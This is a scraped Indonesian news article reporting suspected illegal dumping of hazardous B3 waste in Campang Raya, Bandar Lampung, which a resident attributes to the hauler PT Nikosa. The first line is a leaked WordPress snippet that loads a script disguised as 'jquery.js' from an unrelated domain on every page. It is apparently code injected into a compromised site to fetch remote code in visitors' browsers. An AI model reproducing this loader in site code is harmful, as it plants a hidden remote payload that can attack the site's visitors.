add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Lapor!! Lahan di Kampung Patrik Campang Raya, Diduga Menampung Dumping Pembuangan Limbah B3 Ilegal PT. Nikosa - Atmosfirnews.id

Lapor!! Lahan di Kampung Patrik Campang Raya, Diduga Menampung Dumping Pembuangan Limbah B3 Ilegal PT. Nikosa

- Jurnalis

Minggu, 24 November 2024 - 10:17 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Bandar Lampung – Armisfirnews.id
Lapor Kapolda, diduga Limbah Berbahaya dan Beracun (B3) disinyalir didumpling oleh oknum pengusaha nakal berkedok sebagai Perusahaan jasa pengangkutan Limbah B3 dari sejumlah Perusahaan di Provinsi Lampung .

Seperti yang dilakukan salah oknum nakal bisnis pengangkut limbah B3 dengan sengaja diduga membuang hasil limbah di wilayah kampung Panitrik , lingkungan II ,Rt01.Rw.02 Kelurahan Campang Raya , Kecamatan Sukabumi Kota Bandar Lampung yang diduga lahan kosong tidak memiliki ijin pengolahan limbah dan kerap membuang hasil limbah di beberapa titik di wilayah Bandar Lampung .

Dari penelusuran wartawan di lokasi ,terlihat sejumlah kendaraan besar berwarna hijau dan orange diduga memuat limbah B3 berkapasitas 30 ton membuang muatan limbah B3 di lokasi tersebut yang dikabarkan limbah tersebut berasal dari salah satu Perusahaan PT. Daya Radar Utama (Noatu) dengan mengunakan jasa pengangkut limbah B3 PT Nikosa dan disinyalir melakukan dumping dengan membuang muatan hasil limbah B3 bukan di lokasi pembuangan yang seharusnya agar mendapatkan keuntungan lebih besar dengan berlindung dibalik dokumen perusahaan resmi jasa pengangkutan Limbah PT Nikosa.

Baca Juga :  Kabid Humas Polda Lampung Gelar Silaturahmi Dengan Awak Media Mitra Humas

Salah satu warga berinisial HR menjelaskan l “Limbah B3 yang kerap dibuang di lokasi tersebut berasal dari salah satu Perusahaan PT Daya Radar Utama (Noatu) yang diambil oleh PT Nikosa , yang seharusnya didikirim ke wilayah Pulau Jawa atau Jakarta “.tegasnya

“Namun Limbah B3 tersebut dengan sengaja dikirim dan ditampung di lokasi lahan kosong di Kampung Patrik, dikabarkan pemilik lahan berinisial YT tidak memiliki ijin dari Dinas Lingkungan Hidup (DLH).”lanjutnya .

Dirinya menyebut bahwa pemilik lahan inisial YT juga sebagai Penanggung Jawab dilapangan dengan berdalih telah mendapatkan surat pernyataan menyetujui limbah B3 dibuang di lokasi tersebut, ucapnya kepada media .

Baca Juga :  Soal Dugaan Pemalsuan Dokumen Oleh YDS, MRA Resmi Tunjuk Gindha Ansori Wayka Sebagai Kuasa Hukum

“Sementara oknum nakal dibalik dokumen jasa pengangkut PT Nikosa “berinisial YD selaku Pemborong dan selaku kontraktor Pembuang limbah B3,” ucap HR.

Diketahui pengusaha jasa pengangkut limbah hingga pemilik lahan yang dengan sengaja menyediakan tempat untuk pembuangan hasil limbah B3 tanpa memiliki ijin tertentu dapat terjerat sangsi pidana maksimal 10 tahun penjara sebagai mana yang tertera dalam UU No 32 Tahun 2009 tentang Perlindungan dan Pengelolaan Lingkungan Hidup.

Sebab limbah B3 tersebut dapat menimbulkan pencemaran lingkungan yang serius ,mulai dari tercemarnya air tanah dengan Zat berbahaya bagi kesehatan hingga asap atau debu yang membahayakan pernapasan dan kesehatan mata warga sekitar .

Penulis : Redaksi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi
HUT ke-81 RI, Rektor Saburai Ajak Kampus Jadi Kekuatan untuk Kemajuan Bangsa
Rayakan HUT RI ke-81, Warga RT 03 Pulau Bawean III Sukarame 1 Aktif Berkarya dan Berinovasi
57 Mahasiswa Ikuti Matrikulasi Magister Manajemen Universitas Saburai, Rektor Tekankan Kesiapan Akademik
Berita ini 31 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Jumat, 21 Agustus 2026 - 11:05 WIB

Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati

Selasa, 18 Agustus 2026 - 14:43 WIB

Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi

Berita Terbaru